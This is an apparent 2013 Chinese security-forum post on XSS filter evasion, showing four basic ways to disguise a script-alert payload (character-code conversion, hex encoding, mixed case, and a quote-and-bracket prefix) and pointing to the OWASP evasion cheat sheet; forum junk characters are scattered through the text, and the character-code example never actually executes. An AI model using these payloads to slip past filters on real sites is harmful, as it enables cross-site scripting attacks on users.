找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2154|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。" s: }- U) X- n$ L
1.转换为ASCII码
; m& s. y; `% i' p7 ]例子:原脚本为<script>alert(‘I love F4ck’)</script >4 s- G1 H- z# V- ~$ h5 l
通过转换,变成:  ~  d3 R( P/ V$ N! ~+ B' b. |
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>  Z+ W9 x2 S; l4 L
. J- n- z& [2 ]
2.转换为HEX(十六进制)
  J& `7 L* ]1 T# w2 Q例子:原脚本为<script>alert(‘I love F4ck’)</script>
$ }1 R1 V! S' L8 i/ t通过转换,变成:* H- e' @. d% e% Q
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e( Y8 ~; I1 ?( j& B
: Q8 h" I" R: q: G$ P2 o  \$ p( v% v
3.转换脚本的大小写/ n& O5 n$ G  _* q
例子:原脚本为<script>alert(‘I love F4ck’)</script>0 H( w8 a3 [/ I4 f& |' V
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
& [! \7 }( d7 G" J: i
! n' w! m; x! O2 j. s7 r# x4.增加闭合标记”>
3 Y- b  l4 V/ k% B* U# T例子:原脚本为<script>alert(‘I love F4ck’)</script>+ a1 D: w; c4 B3 q0 r: S3 e
转换为:”><script>alert(‘I love F4ck’)</script>. S9 I1 e( I6 N9 ^6 z! v
更详细绕过技术请参考此网页2 I8 _. t: J: m- V
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
3 D( R' Z' h1 L, |# _) s4 ^( m4 Z* {' ?
- J$ V! H$ |4 @0 s0 ?0 y7 ^) O9 N转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表